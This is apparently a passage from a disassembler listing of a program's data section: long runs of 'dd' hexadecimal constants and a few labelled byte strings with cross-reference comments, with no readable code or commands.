0E5EE18B3h, 621C5416h, 4DD623F1h, 24420C40h, 52C8E2E1h dd 0D1805054h, 594BECB7h, 0F3CCD051h, 74823026h, 18BCAFD0h dd 30442FD0h, 8B5CFA53h, 0CCC4990h, 30F767A2h, 1067B58h dd 0D1C412C3h, 60A38087h, 59736C94h, 22AB8213h, 1FDB7038h dd 0E0BF923Ch, 14E03316h, 8240Bh, 24C60320h, 87E32C1Eh dd 0A7C78CBCh, 3C7C9240h, 579C031Dh, 42F86306h, 0CE05C60h dd 1D4C316h, 9508354h, 0DB7CE02Fh, 93A8825Ah, 201D2E3Ch dd 0B4A306FFh, 6B1C10E8h, 414EE240h, 99428268h, 0B46037Bh dd 0C03A6830h, 914139C3h, 8AA5C088h, 3B4029CCh, 387F5C13h dd 0F6A6230Bh, 0F0BD4003h, 9CE33028h, 3DFEE218h, 0A0D07BA0h dd 0FA8D5FA4h, 38AD2C22h, 40CC29DCh, 0E0416957h, 0B8F301F9h dd 0DB318C68h, 0F073A260h, 84588326h, 0EC620C78h, 65E008FCh dd 802E48ACh, 89C543FCh, 48A2EB18h, 0F8C6E3D0h, 0A8E12647h dd 60B8293Ch, 7B38088Ah, 0B0D379C4h, 2DC8304h, 40A8BB62h dd 3B6F01C0h, 0B8D0431Fh, 0B33209E3h, 0D84E62E6h, 0F3B1AF0h dd 176C4941h, 9C09B2C6h, 0A22402A6h, 4200E082h, 0B0C96004h dd 3230513h, 68C28678h, 61E61A55h, 42E0D204h, 8208C5E2h dd 38005BFh, 0F1C0876Bh, 0D02302FBh, 18C4B511h, 7CC1FCBAh dd 0A2D1CD67h, 118EEEFh, 0C32A8FD0h, 0E1257B1Bh, 4014E7A5h dd 1EA8B85Bh, 4747BDCBh, 7D3BEE4h, 0C240000Bh, 42E60146h dd 62F0CEEEh, 26030806h, 8058EA63h, 31D1DBF3h, 8698D67h dd 50B080ADh, 0DD23585Eh, 0BD08C80Dh, 0FB968304h, 0C7A4481h dd 4AA3A0F3h, 77F7F11Fh, 0AC515120h, 902707ECh, 6240074h dd 7154BDD1h, 6E00FDD6h, 0C83F237Dh, 0FE7F2208h, 9DF876h dd 0D8EBDE54h, 9F21AF6Dh, 0B7963Ch, 0E4224578h, 785725F8h dd 765901E1h, 832CA1F7h, 0D47BE4F5h, 6861F60Eh, 0E0183D8h dd 6708039Eh, 6B98E249h, 373D6DC0h, 3F4619C0h, 74C9B8E4h dd 238185Ah, 5FD90809h, 455018C7h, 0D0A198C0h, 0C161F1EBh dd 602FF8D0h, 51D3486Ch, 0D3358E1h, 0C639836h, 0BC5D8A8h dd 0D9645E40h, 0F8036410h, 8790E70h, 54201463h, 7587FBEh dd 12DDD4BBh, 0FABD43B9h, 6D9D1001h, 0BCFD181Ch, 39D8A883h dd 0F8EED70Ch, 0FBEDCC00h, 38CAF09Ch, 0DE8301C5h, 9EBC28F9h dd 78C9F3D0h, 0F3EFE364h, 0B8C00DACh, 0F8F897D8h, 1D4B0606h dd 0F8100BDDh, 5F850043h, 0FC6E8F7Fh, 8741538h, 180A7820h dd 386BF3B8h, 280051A5h, 1EEB215Dh, 0C749BF1Dh, 70759048h dd 83D9353Dh, 23B65E00h, 4B767EBCh, 20DF035Dh, 0AC58FC1Ch dd 0ED785003h, 80FF0FA7h, 285EBC3Ah, 48F4AA24h, 4E740812h dd 2456E83Fh, 8F3B00EAh, 652205E2h, 0D007460Dh, 1F801AAEh dd 0E8237E5Ah, 185B6FD3h, 297F4018h, 3D333090h, 74D39ADh dd 0AB4ADF30h, 674521h, 0A9B538D4h, 0E91FA1F6h, 7D40F74Ch dd 0CDC1F072h, 57D0F990h, 18E20975h, 4C00F894h, 78E416C5h dd 1209160h, 24F7616Eh, 61827E1h, 58EA79F8h, 181C3A49h dd 64982D32h, 7D6D0067h, 0FE82BAB6h, 78901228h, 0F429B377h dd 0A00EECE1h, 89988030h dd 3AAAF028h, 61187DD8h, 2518B099h, 0DD6D6202h, 0A0F60D38h dd 0B9D5C91Ch, 8A8840D0h, 783FFD31h, 0B88960BFh, 5C06B613h dd 0B814C0A8h, 9C209EC7h, 5D3CA7C0h, 12F06F91h, 11DB736Ah dd 0BF81345Ch, 0C96CD3CFh, 0C04AF082h, 0B8EA810Ah, 1059C8Ah dd 84096A8Ch, 1E4401AFh, 0F0416BDDh, 44203F0Eh, 0CB820760h dd 8E92EC78h, 50241E89h, 9E608115h, 0E95C24BAh, 0FF1C4492h dd 92CE5DF7h, 0AE3F83FDh, 8C20300Dh, 3036B848h, 4B0418F0h dd 77DEBC9Eh, 8A643C87h, 0B2FD4C81h, 0C1D55821h, 0A3E208Ch dd 7B609F50h, 14871860h, 453D3E1Fh, 7838E740h, 249FA41Dh dd 8B085F00h, 902858EBh, 77BF311Ch, 7FFF18h, 0C4592AF8h dd 8219CAF0h, 48437130h, 68401BA2h, 789AD27Fh, 0CA396F64h dd 777174D1h, 0D0A2FD02h, 4441C7B6h, 612C20F5h, 20021B24h dd 307BF09h, 28AC9F38h, 1DB46288h, 127E2621h, 88611881h dd 0ECA0188Bh, 94988E75h, 3C300320h, 267CEF5Ah, 0B79C3FE6h dd 0B9358230h, 0A9A29860h, 4D2BF81h, 448487ADh, 1F40D457h dd 522106FDh, 0F04D80D0h, 90B3318Ch, 188DAA18h, 0E1588698h dd 0E943451h, 4ED800E5h, 0C659F0E5h, 0A0A77141h, 389C0750h dd 0E57B351Eh, 6D3BB100h, 3F17C9FDh, 0CF031D1Fh, 11C3BD19h dd 0BA68DDC1h, 0A62F0710h, 0A407DE82h, 55C05E45h, 90957DD4h dd 79824D4h, 0D931BDC0h, 0BB658C08h, 3D04CC80h, 7888E09Fh dd 1CAB5Eh, 16891BFDh, 0FB702B9Dh, 7B71F801h, 0D3B93D10h dd 4884A0F3h, 98BE48B5h, 0AE53E3A0h, 12B8D549h, 0E4703B2Ah dd 716673C2h, 24A890A2h, 2094FB0Ah, 19F48990h, 0EC321FC1h dd 0BE00B3CFh, 0F7C66974h, 0ACF8EA24h, 0B8DBCB8Ch, 1C8606A5h dd 0D01AAFDDh, 4C904929h, 6A1E3100h, 0B00D2C3Fh, 70F3670Ch dd 19CCB061h, 38B0225Dh, 1C3C3824h, 1D4DC585h, 5DE34470h dd 657C263Bh, 46829244h, 0C06D7A4Ch, 90C8A48h, 5978D01h dd 2030BA10h, 0EA38AAB7h, 8A88C078h, 41F69217h, 0D628394Dh dd 0C54F06AEh, 6A12F068h, 0C40061C7h, 0DD28571Bh, 1F189ADEh dd 2C0FA544h, 5D2B04A4h, 0FDAC806Ah, 0E3E963A7h, 7DD66280h dd 8DF17F41h, 4E1220BCh, 0BD7C0923h, 58B8C482h, 0A4CA1D01h dd 74A15C20h, 5873F8B3h, 7518E869h, 339A2809h, 98585090h dd 7F3A73F0h, 3ED80156h, 34BD1E99h, 0C742A052h, 0B8C081D0h dd 20A3E9F5h, 2B584A00h, 0FD581608h, 8C5D4C09h, 0A03E30F4h dd 48AEA188h, 2D24908Ah, 28F81598h, 7026F583h, 209DB7C1h dd 48C40B38h, 8C825EDDh, 0AC0941Dh, 0C4565DAEh, 150A86ACh dd 18A5F0B4h, 5CB2FF01h, 0EA01F11Eh, 61A870B6h, 0F80ED228h dd 181D9003h, 0AA7025BDh, 7A20B09Dh, 0C4EA756Bh, 8128CAE9h dd 23EBFDD8h, 459DC12Ch, 8C24AFF5h, 8C094CAAh, 2B811F05h dd 8A18701Bh, 322C70FEh, 963B38DFh, 0EC14743Eh, 9C80A524h dd 0C27BFA5Ch, 50306A28h, 0C060E486h, 943B7D2Ah, 0BDA02762h dd 0F2FC63C6h, 6500421Ch, 2F998188h, 64AF6669h, 2090BA74h dd 0D862A8B0h, 0E049B128h, 0E94F2A0Ch, 0C693DCF0h, 0C0152D18h dd 0A9197E63h, 82082674h, 0EBC2C00h, 0D2C6F60Ch, 0C43278B6h dd 6817585Fh, 81D7949Ch, 38208BB4h, 3FFC24F2h, 75C88A0h dd 0F531C814h, 0ECD14133h, 0C511E015h, 71012E7Ch, 91C7FFABh dd 10A7090Eh, 0FE0798F4h, 0D1C1C650h, 9EE0EDF6h, 30C2FE72h dd 0BE10B491h, 48C6A55Ah, 2008A67Ch, 0A2209688h, 0E0C3E107h dd 0C78966F1h, 0C15B8680h, 8C950291h, 100A8068h, 18247C1Eh dd 0A0BD21B1h, 0C37C79E3h, 4837E933h, 5E4FC868h, 71B8C6DAh dd 21F83819h, 7E10F77Ch, 0CB319646h, 86169140h, 0E625168h dd 31C26628h, 0F1301079h, 4DB120FDh, 7028CE0Ch, 45D003D0h dd 7434D1C3h, 0F3140330h, 0B8CF5AF6h, 849ABAA0h, 683EFAF0h dd 0C53A1887h, 7C0BF178h, 0C6ADFEBFh, 0A874FE41h, 0C87F5930h dd 0F716CA4Bh, 588C6BD1h, 0B3380184h, 0B1823206h, 0FB887642h dd 0BFD86188h, 0D0F12E1Dh, 50980D41h, 12BEF099h, 0EEC06965h dd 0BADED401h, 0C5F01706h, 0DF210C39h, 60D082E3h, 80159738h dd 32CA5D52h, 0FEF459EBh, 560E987Bh, 0E84014DAh, 223D01C4h dd 0F3C3F51Dh, 0EABAD0FCh, 1A50F7F0h, 92007E14h, 0E0192AB2h dd 681823F4h, 0C0149883h, 5E19ECAFh, 0F4909D00h, 4FE18C03h dd 0A5FAF83Eh, 55090118h, 809E2014h, 0E1666380h, 50F27AF6h dd 7833B091h, 5C1A12EEh, 0AF28043Fh, 905906E8h, 0D0DD6FC8h dd 0D110720Ch, 65EB22Eh, 0DF1F5601h, 82C56C3Fh, 0D340E0h dd 3314F1F9h, 2ACB5FD5h, 48ACBFE8h, 17BC6605h, 9C0430E8h dd 480C443h, 0E99060FAh, 0A6A31450h, 6F220E9Ah, 0F1EAF458h dd 0C3B13C9Ch, 8CEAECB9h, 0A8302338h, 127B7E3Fh, 6F018B1h dd 1801496Ch, 7108B061h, 3048E196h, 481B0A04h, 4A434E0h dd 83EB7E83h, 0E8FEC018h, 0F108D661h, 189FF517h, 0B1814347h dd 8439A939h, 0DE16805Fh, 7FDF1918h, 0D4C4090Ah, 38FD3Fh dd 477E5BF5h, 14F2F624h, 60933E0Ch, 11098A5h, 0D943D651h dd 419CA03Fh, 80139FC0h, 0C2CB5340h, 0A4F31051h, 0A6C4045Ch dd 50F78DEh, 0E0020AC3h, 60D1E79Ah, 0D017EA2Ch, 6EA3A8B8h dd 0E7921CD8h, 0CE23BCA0h, 0CF1AA8A0h, 94FA08C0h, 65FFDA50h dd 28B1780Dh, 9608CCDCh, 0A6694D5h, 6074DB03h, 7E6A9B8Ch dd 0C37FA8AAh, 0E1200204h, 611F2788h, 0C2E54898h, 417CA939h dd 5308206h, 21050D91h, 2FD8287Fh, 702BDA0Ah, 0A309A4F7h dd 11A48206h, 0B7BC69DBh, 7C1CFC21h, 0BF010804h, 83058105h dd 0C0069454h, 4D288641h, 0F82934EFh, 6F6A8178h, 20E70BCDh dd 0B424E3C8h, 5A140408h, 0CC5E29FCh, 0D2216740h, 5918203Fh dd 0D0A67733h, 1E302944h, 14D94080h, 1F49F18Ah, 0A29919F8h dd 0B831D130h, 742010F1h, 912F73BAh, 0B92BC060h, 9C40B0B2h dd 86DF2C03h, 78AB0928h, 0FBFA8403h, 54B05FD2h, 6B243FB6h dd 638CAC2Eh, 0A591D8D7h, 7EA63E80h, 93750A5Bh, 33DD0AD0h dd 46955014h, 0E5F91318h, 0E89AA3C8h, 578AE4Fh, 0EEA282BCh dd 19C45D62h, 644ED80Ah, 0E0A1D45Ch, 81A032D1h, 27E4204Ah dd 0BD99E9BFh, 440C883Ch, 0D304C4FCh, 5052D080h, 3FB3C05Ch dd 98C59F58h, 8E6C0080h, 0D7DB0F66h, 0E630880Bh, 903D3601h dd 3C15130Eh, 3CA8CDh, 4CB4726Fh, 13FAD3h, 5A5531DBh, 0B2756A99h dd 278918A8h, 0F4052F7Ch, 0D8ACB476h, 91A6DA81h, 3DEB2181h dd 80653749h, 0FF048C50h, 0D3137B16h, 0F8320F28h, 2DD43B01h dd 0D102D00Eh, 0FD5D20C3h, 0C059A013h, 90067982h, 0E2C618A5h dd 0E7D03885h, 0CA3286F0h, 98AD18ECh, 0D8283Ch, 9BEE3799h dd 8F96ECB4h, 3E468819h, 21C51B68h, 15E87081h, 4031A683h dd 147A9B8Ch, 5503C6F0h, 0E7268830h, 8D58180Dh, 36DC6882h dd 8478A029h, 51B04640h, 70E862D8h, 9C83BECCh, 0E0149E1Bh dd 0CE50AC5Bh, 0B267C2CDh, 692C0236h, 0BE6D8603h, 646A29E0h dd 57770730h, 568056Eh, 45590CA4h, 2076EE9Ch, 0C380E914h dd 0B4CC4760h, 0DF8CDA6Ch, 0DBF87250h, 3502F894h, 0EE6A5CADh dd 87C9003Ah, 6953F95Eh, 0E3440340h, 1EADDEEh, 2698AC28h dd 4DE8195Eh, 29B74040h, 0F8A964B9h, 392895C1h, 0C3878054h dd 0C0DFE0C6h, 189AEC50h, 50ACD95Ah, 6938EB04h, 0CC0CEFD3h dd 0F8A5B951h, 5399309h, 0A84125C4h, 595CE408h, 283CBC4Ah dd 0EE2B8E88h dd 1F2C0C02h, 5578B85Ah, 50F850E3h, 1C23416Ch, 0F30C3364h dd 507D8857h, 3CA8524Ch, 95BA17C0h, 0F9832649h, 0E2302F53h dd 0E0833DCAh, 77BE6D81h, 0D092997Dh, 0B078AF1Dh, 9689FD1Fh dd 702CDD12h, 0CDD11019h, 0EF8C0809h, 234C00E8h, 395FC20Ah dd 0FDC7D507h, 1F43D414h, 2687A011h, 3AE7F810h, 7003D71h dd 0E20A5F68h, 1474F2EBh, 0EE6E6700h, 3E50D947h, 6DD80064h dd 0C860669Dh, 0A638FE86h, 6E8B0041h, 0A9A7D6ADh, 314A43Eh dd 90BB4D67h, 6B804B48h, 9A08FB0Bh, 0C143F2C5h, 0F4F1D2DAh dd 0CBE054BDh, 8BDE9407h, 0C08841E5h, 9CFCE493h, 0ABE051F4h dd 0D23CF80Ah, 0C1C05067h, 0F3060D6Fh, 5C8085F3h, 0ACC7D6DBh dd 0B312033Ch, 9B979E9Ah, 735BEB80h, 0E7A58B03h, 0EB858F30h dd 3945A031h, 488C57E3h, 0AF35370Fh, 4B2A209Eh, 54059C1Bh dd 0A83193CCh, 0D5EF8870h, 5C73309Bh, 0C43B2B98h, 42450102h dd 0B0E7D410h, 48A69E30h, 606032CBh, 9B334E8Bh, 5786556h dd 0AF10402Bh, 0E934B420h, 50A57E8Ch, 0A646EC07h, 1072EE2Ch dd 125FAE0h, 8C737FCBh, 0A2D70E85h, 0C4E71065h, 27F4A915h dd 70720AB8h, 7E59E08Ch, 60CFC4C8h, 280B2826h, 25298CE7h dd 11832804h, 897BE2Bh, 70D5EBA9h, 3B401C29h, 54E6147Fh dd 0A1CCAC0Ah, 645805C0h, 20D27B38h, 2B7F8B98h, 6E78E063h dd 94C5D0CCh, 445CFDCDh, 29E50A4Ah, 8CACF341h, 88886BBCh dd 0E22568C3h, 7470DDD2h, 7C89505Fh, 416B8014h, 40EE6724h dd 12549758h, 4420E18Ch, 8008C968h, 833F52C4h, 45F3E505h dd 1C604214h, 2A3A69D5h, 33B82C6Ah, 39381479h, 28450292h dd 786979Dh, 1E113856h, 8C355BA9h, 63F04F42h, 108EA6Fh dd 43C3D28Eh, 2BFA198Dh, 0B3ECF048h, 59A5721Eh, 10C96880h dd 1DC8E49h, 7D7850D3h, 0CCBDFD21h, 0B0018C4Ch, 0BF1A12B7h dd 25C87FF2h, 1FA20055h, 512A2F62h, 9A03B1FDh, 97432BECh dd 0F088E647h, 80C009Eh, 4BD6D82Dh, 0F07F23BEh, 4F980667h dd 0C30C9640h, 8EFE2Eh, 0DD16D51h, 0C0FBBBC2h, 330F28ECh dd 601B2722h, 844C310Ah, 0C590C0DFh, 0EC1D8AF0h, 0D0B82E03h dd 0A3709FB2h, 8C26070Ch, 10865AF8h, 277224Ah, 0DC0BED17h dd 5CA800AAh, 0B568E301h, 6C67C901h, 6E45C254h, 92229050h dd 8A98145Ch, 840E8839h, 0D3894814h, 0D6742420h, 80E213FCh dd 71F7A000h, 0DC2439B0h, 0CFE00AD0h, 43C423FFh, 88D06597h dd 0F201BDD4h, 1C37D506h, 90401350h, 1AE14EFh, 95925AECh dd 8A91C9DAh, 908F3608h, 437A0F07h, 0FC545B37h, 0F0CEB9C1h dd 888151E9h, 0F92B6085h, 0F48E40C4h, 4C007B86h, 33475477h dd 0E71642E3h, 7A5EC20h, 227FE291h, 0E897F64Dh, 0CA43BD03h dd 903A2ABBh, 0F983BA4h, 9FB6D0Ch, 5C6580BDh, 337F85DCh dd 0D6A30D00h, 26AB12C3h, 4BF02Eh, 8668BBCFh, 0B76EBE8Ch dd 4A1082Bh, 0DF5F7B41h, 94EE20h, 17612F86h, 8FEF0F06h dd 50E820C0h, 3FA645h, 3B991AACh, 5798BB21h, 0FD75D800h dd 85A2AFB4h, 92EE00E0h, 7E146FCCh, 0B6F496BEh, 3DF8FC00h dd 0B91A3B1Eh, 3B9FB8BAh, 3F80EFC4h, 0B1E63A14h, 0F1002F5Eh dd 0D9832523h, 3D4170h, 1265E94Ch, 7E0D7263h, 5913FD00h dd 5D0AEE52h, 44985084h, 207C6083h, 997B1FEAh, 0F4572D00h dd 62A68720h, 15AF0067h, 635FEE43h, 32007659h, 0D568331Ch dd 39731DA2h, 0F180C03Ah, 547E57BAh, 1A032A3Fh, 438AFEB3h dd 46A1E809h, 1D00F3DFh, 0B6012F39h, 246E2ED6h, 20F0B028h dd 0BD040081h, 4D3F3E17h, 0F50015E4h, 0B3FD56DDh, 11D28B7h dd 0BBF6B2BAh, 0D4C3726Bh, 7B40E974h, 8833069Eh, 51AF2D4Ah dd 0CB087E0Eh, 234BA051h, 0C6369F5h, 0D324127Dh, 0CB005D89h dd 6FC30B67h, 0E6B9E76Dh, 74E114FCh, 0AB008894h, 0A972EEB3h dd 890182FEh, 21158EF1h, 0D040607Fh, 9832F5FDh, 0D0170021h dd 0E474035Ah, 34AD1659h, 300D3B40h, 448106CFh, 6183A92Ah dd 0B1E00B52h, 0C40C6361h, 97650702h, 40CB8111h, 0FA2F3A30h dd 0AA261C0Eh, 30B85C60h, 94811E30h, 0E50BBB00h, 0E0DFA359h dd 2711006Eh, 91AC99B4h, 0BE00437Ch, 0D0813CF5h, 3CD7EE61h dd 1A8079DFh, 0A78E7367h, 0D900BFE3h, 52348272h, 61546058h dd 0A2936033h, 6C03D047h, 0FB3FFF00h, 0AC09E767h, 2D4C01DCh dd 3E3CF6E0h, 0F3E3FC44h, 0D0D44131h, 0EC50DD13h, 93CEDEh dd 0DAAC6B45h, 8B17F868h, 80D7491Eh, 620015D3h, 8DB20AFEh dd 51CF1398h, 0D2D4006Ch, 71B43112h, 6841C000h, 0E8C8A062h dd 641E2965h, 5ED580A8h, 5CBC4E2Ah, 5A229242h, 5E14B600h dd 0AB7C55B1h, 13774Bh, 3AD031B0h, 0F8C70558h, 0D3A63900h dd 9487019Ch, 0EAC60030h, 0DCF17F89h, 2756660Ch, 7C4E01E0h dd 91C57B81h, 0A988340Ch, 0A27C00E5h, 52A559D0h, 0BD607D5Fh dd 847700Ch, 783B2443h, 72CC0168h, 24F9D9CAh, 6C00EE38h dd 8C451C86h, 0C2E51EB4h, 37B81D19h, 0A4094444h, 77C35B4Ch dd 4244828Ah, 68416C27h, 734420F0h, 6111C10Eh, 68467E1Eh dd 1F215C77h, 40E71C7Bh, 0A61735D6h, 0EC382926h, 0B6AE835Eh dd 973C1DFh, 0CA22F890h, 809EDC20h, 0C71DA81Ah, 548015B5h dd 89EEE40Fh, 9607000Eh, 9747A6A5h, 9800A47Dh, 0EC689BEBh dd 0AC0165F6h, 0CCAC01D4h, 1E6D87C8h, 8EEEB2Ah, 0A5346400h dd 0D3D45612h, 529F00F7h, 71229DC5h, 0AA695039h, 0F4DD820h dd 4016C91Fh, 95807200h, 3D00B82Dh, 60573697h, 608E34B5h dd 0A75F30ADh, 9900F8E4h, 8B27E971h, 7D872D6Eh, 8CCC1865h dd 0B6054817h, 92CF8000h, 0AD680229h, 6FF80E3Ah, 2D6E656Ah dd 92A3460h, 0B309D40Bh, 80C89A71h, 0FCE1F37Bh, 0A83D5A20h dd 7C1600CBh, 9A8FC560h, 0EED03CC1h, 9481733Dh, 0D99008DCh dd 0A55ED405h, 0E2098700h, 0D586E0ADh, 8B7171h, 0E9EE7C65h dd 0A3D61BFAh, 0EDB72200h, 8E2BF66Dh, 9DF81CA9h, 82860A65h dd 8CB5005Ch, 0FC819FE0h, 0F006F42h, 0D22D654Eh, 0D008E27h dd 0C34794A7h, 0C2629Ch, 44C873Eh, 0AE9929C6h, 0F2CEBB03h dd 8D183674h, 5B14AC41h, 0D347E3h, 0DC5083A8h, 2251A0A2h dd 12CD650Eh, 0F28DE016h, 7A3DA7DEh, 56EA1F0Ah, 70BB9F0Ch dd 5C7CA920h, 3BA5D500h, 8BA3405Dh, 3C8A0042h, 0D11E9F31h dd 37004E0Bh, 6CB77C9Eh, 1C98C5Bh, 477E8A46h, 80D1F0CCh dd 0F8974048h, 325AB6Bh, 8DE1734Ch, 80BCCBBDh, 0C0103618h dd 0C587ED09h, 6A281839h, 0D88C069h, 114FF1D8h, 0CFE6AB0Bh dd 0D29100FEh, 3FC3E08Fh, 44001B64h, 7F39623Ch, 8A12D0ABh dd 3020F073h, 88E3003h, 32066260h, 20098C4Fh, 9F161E44h dd 1921C04Bh, 0E1630386h, 8001293Ch, 9E7D78EDh, 3012A432h dd 16B04C4Eh, 6F0F76C4h, 0C048B2DCh, 9A216C66h, 0B8DD0A61h dd 288A043h, 83082298h, 5A82F482h, 6232C580h, 9606A266h dd 2B868B50h, 0BEAC3051h, 0C9619728h, 9D623D12h, 85C06440h dd 0EE104Fh, 800F7CB1h, 9866E5AAh, 6E50F77Ah, 0E40EA394h dd 61D0A434h, 6F4EEFA0h, 493F048h, 8A785EF1h, 0BB9D31D9h dd 5CE0A303h, 3793B58h, 70B0401h, 0E642B409h, 7A97B02Fh dd 35A5F900h, 48307B4Eh, 73D7028h, 6588D49Eh, 0A249905Dh dd 0F900E0CCh, 0EA6D5CC8h, 0E7DA5Fh, 0DC542573h, 0AC56B15Dh dd 0BC160300h, 82ECAD77h, 2BEA1827h, 626F0894h, 3603AB00h dd 0A8649953h, 0C518003Dh dd 0B3C226D6h, 9F7DB1CFh, 0E046733Bh db 0DCh aUidt db 'žIDâ',0 ; DATA XREF: ___:off_437A24o ; ___:off_437A3Co dw 171Ah aV5kFd db '‚5KØf¤',0 db 19h dd 3BE926Dh, 69F112h, 0D39E6C01h, 2F65066Eh, 0B8C7540Ah dd 1D0148B0h, 49EB448Bh, 0E9FE16FAh, 0DDF48C00h, 7438BF67h dd 24880159h, 89CC60ADh, 0C7EFC4F5h, 0A19C8A00h, 0AB407603h dd 83F80F72h, 66013C86h, 0F8695EE0h, 0BE0E22D8h, 8AE16005h dd 7600A4F2h, 710EF1CFh, 73FA0050h, 30068E4Bh, 74C31F9h dd 0FE380071h, 221AF0B1h, 1941034Dh, 24CE0CB5h, 66C42FD0h dd 300E5Ch, 4F34443h, 0A84BE6h, 25C740BFh, 2F7EA07Dh, 1F07A701h dd 5795C47Fh, 9B46298Fh, 7E1382A0h, 0EE00A331h, 0AA745408h dd 517BD9h, 7877E0CAh, 0BDCCF919h, 7C6721Ch, 0A9137980h dd 17DBD9h, 5ADA2B45h, 0C51A6D4Fh, 0B2E4071Ch, 0A25D080h dd 1CC0A575h, 0C042A677h, 24CAA87Bh, 0E13F4E5Ah, 0E630609Ah dd 8CFC59h, 0F68AB64Dh, 0F56792BDh, 0C0170E8h, 0E352E6EEh dd 3FEC976Bh, 6079F6C7h, 0B239C0D0h, 0B8EE4A92h, 0ACB4DF02h dd 0A0695FBBh, 0A004E088h, 0C05CA8CFh, 3CE80813h, 0B36312C2h dd 0A720017Fh, 0FFD7E444h, 0DED9DCF6h, 830019FEh, 522B0BFEh dd 3F4B0141h, 0BB0024CBh, 4739E753h, 1200AB21h, 2262928Ch dd 333CD682h, 0DAA0EF1Bh, 0C5BA0B0h, 43A42B03h, 0B0463451h dd 77319CDBh, 684A0CA5h, 0C3C0D73Dh, 58A20B29h, 247B1500h dd 8693B474h, 8821DE60h, 790EEAh, 98CF94F2h, 4A633E8Eh dd 27C598CEh, 4263B0BDh, 0A71000F6h, 7FBA6527h, 320E98EAh dd 869FB4BCh, 20E55Dh, 0EF9943AEh, 35A91724h, 0E0FBC709h dd 0BE2B074Dh, 0BCE443h, 8309CD79h, 944F6477h, 56C08007h dd 2FF0824Eh, 0F2B85DDh, 8B8D8F28h, 3944E940h, 5314318Eh dd 40CC0B5Fh, 0C2F2D48Ch, 0B30660C0h, 7351B772h, 0C4130079h dd 7C5A61AEh, 8A00887Ah, 0E490968Eh, 3AE8B074h, 0FE81CDD2h dd 0C0127EC6h, 9A188045h, 0FB8586C2h, 0F2870056h, 0A47CE496h dd 41013B54h, 36ACB965h, 0C4E55E42h, 0B73DDCCh, 0D5086AC0h dd 0AEB4DD80h, 9E00AAB5h, 0A7B248B7h, 0E12F88Dh, 0DA82A4B8h dd 0F5A5FE80h, 9CE4A9B5h, 96D67F07h, 19C11266h, 0E0CED427h dd 0C9164AAh, 0ABEC0421h, 0A87DC528h, 47A30A00h, 2ADCBBA6h dd 0D6AF0F4Dh, 0C6E07B13h, 0BAF13CDDh, 47008CE6h, 19192E2h dd 31D35EF2h, 1FE05A28h, 6F0FC58h, 0C652B00h, 146A7509h dd 0F3E400D5h, 2729ACCEh, 2200CFEFh, 0EE4C967Dh, 269CF746h dd 903F23h, 0DA7530CBh, 0E10E06EAh, 277D330Ch, 5411266Ch dd 92003BDh, 0E57000E6h, 80B3668Fh, 0F2FF6EDEh, 0C8B00340h dd 3044DA30h, 0C25E9Eh, 8D07A204h, 0FFC51CDEh, 6FD4D21Fh dd 394AF3C3h, 54ADA096h, 0DABB00E4h, 0C09CE8A9h, 95003486h dd 80962CC4h, 3807E77Dh, 4B1D6D02h, 918340E2h, 0BBB59965h dd 0E11C4500h, 0CE47F433h, 0ABFA0379h, 0CD9DE9A5h, 8FDB3E00h dd 0AE047C27h, 9CF8005Eh, 73C0D2E4h, 0F50388CEh, 4C563DF4h dd 5478E802h, 15F3015Dh, 59403B8Ah, 0D174F0B6h, 0F7C0B400h dd 6C4298E9h, 0F2C500A7h, 589C160Ah, 307B678Ah, 0ABBC5201h dd 6A6DC29Dh, 7B5C2ECCh, 0B5170096h, 7D8487B0h, 5031B113h dd 0C28D185Bh, 56089Eh, 493CDEC0h, 940388AFh, 72BEB7ECh dd 2CA1904Fh, 321A0393h, 0AA6789B0h, 85EB70E0h, 48139D1Ch dd 966B007Ah, 0FD2102DAh, 9A140004h, 5E3A0D53h, 8000F613h dd 79226F2h, 6E00236h, 6240B39Ch, 80571970h, 1D4AF804h dd 0CEDBF4h, 11B7BDBBh, 1400C2CBh, 997FD0BCh, 0C3EB7D93h dd 8A4D8E30h, 0FC1383Ch, 80AC4A87h, 0D8E86570h, 8A34ADF3h dd 564C5539h, 0E147191Fh, 5DB229C0h, 0E63A3Bh, 90DC46C2h dd 32A4D91h, 1432580Ah, 51080CFFh, 5C0E4177h, 788511CDh dd 0E150AE08h, 48423D18h, 0CCDA714h, 8279A910h, 25CC8491h dd 0B7184555h, 613004B5h, 0A9D92149h, 184D0C42h, 9F1FFCCEh dd 3108DD13h, 165A4255h, 2526212h, 107FD30Ch, 24AF7925h dd 10788C15h, 4D855041h, 0AD600A88h, 9F28BA24h, 38994378h dd 21C322B9h, 0AA08449Dh, 4A094515h, 62CC5F54h, 82007D35h dd 307E663Bh, 0A6A81094h, 19C3876Bh, 10B0C63Eh, 52E2C1h dd 39AC9614h, 0FCB451C9h, 1CF2007Ch, 0C5FFAF2Ch, 670720F6h dd 73BFE487h, 0F2E5A220h, 84760054h, 11DE5565h, 7C07C92Eh dd 197207FAh, 9EC66A90h, 8206012Ch, 0CFD705C4h, 27F2E0E1h dd 0F6284E1Ch, 0FE771Fh, 94FA5C59h, 3C353856h, 0F40F50B7h dd 26C070E3h, 0E84ECACBh, 5B597403h, 0D8DDED72h, 603FD0BAh dd 0A36D899Dh, 0EF00C08Eh, 0A6259220h, 0C06C502Eh, 954F6B28h dd 0A8004381h, 45B1B4DDh, 0D3864Dh, 6F441D5Ah, 73C19FC6h dd 0CF562B07h, 71B0FE6Eh, 12BF763Ch, 0BBD0C764h, 77AE5700h dd 5633F8Dh, 0FB88D99Bh, 0D20C00Fh, 0DC1838D5h, 0B590945h dd 0E3101CEh, 5E4C558Ch, 91A02BCFh, 0BA040335h, 0B16B8626h dd 0A583Ch, 0D5FBFD3Ah, 1DCD6E3h, 9FF4027h, 4081DE44h dd 26DF3814h, 6EAAD515h, 5780034h, 0F8D96D2h, 798A004Fh dd 45BEF040h, 0CC164C51h, 0E400C32Ch, 78625AD7h, 0F69A03EEh dd 0A33F4DA6h, 7E988D0h, 390C4307h, 0B80C3618h, 69DB8B2h dd 4D97F54Ch, 0A83998CAh, 0A24F8065h, 815D2375h, 0B1BC003Ch dd 0E5CF9B22h, 0B28CB63h, 0A218B2F3h, 0C98060D5h, 5D593015h dd 0F29626D0h, 0A7239A14h, 0E755A040h, 228B1424h, 0CE07C8CAh dd 35A3A3Dh, 63BA2031h, 0BB392D40h, 4E3015E8h, 3A4A98CBh dd 7021F112h, 0CF52C801h, 6D5A1881h, 804C61B9h, 6B3CDF88h dd 7CD7253Ah, 23353093h, 64FEF5B8h, 407E7A03h, 0C3BB637h dd 6361D4F8h, 417CF538h, 0F0B62A51h, 4901041Ch, 4F8901CEh dd 94518E5Dh, 844A62D4h, 77297D02h, 